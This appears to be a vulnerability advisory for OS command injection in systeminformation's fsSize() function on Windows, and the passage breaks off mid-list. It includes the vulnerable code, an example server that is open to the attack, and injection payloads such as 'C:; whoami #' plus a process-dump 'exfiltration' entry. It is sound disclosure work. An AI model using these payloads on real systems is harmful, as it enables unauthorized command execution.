systeminformation has a Command Injection vulnerability in fsSize() function on Windows
Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
- Attack Vector (AV:N): Network - if used in a web application/API
- Attack Complexity (AC:H): High - requires application to pass user input to
fsSize() - Privileges Required (PR:N): None - no authentication required at library level
- User Interaction (UI:N): None
- Scope (S:U): Unchanged - executes within Node.js process context
- Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
> Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
```javascript
if (_windows) {
try {
const cmd = Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl;
util.powerShell(cmd).then((stdout, error) => {
```
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|------|------|----------|--------------|
| lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) |
| lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) |
| lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) |
| lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) |
| lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, ` `, #`, etc., which would prevent command injection.
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
```javascript
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
```
Exploitation
Normal Request:
```
GET /api/disk?drive=C:
```
Malicious Request (Command Injection):
```
GET /api/disk?drive=C:;%20whoami%20%23
```
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
```
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
```
With injection payload C:; whoami #:
```
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
```
PowerShell will execute:
1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
2. whoami (injected command)
3. Everything after # is commented out
PoC Script
```javascript
/**
- Command Injection PoC - systeminformation fsSize()
*
- Run with: node poc.js
- Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Paylo
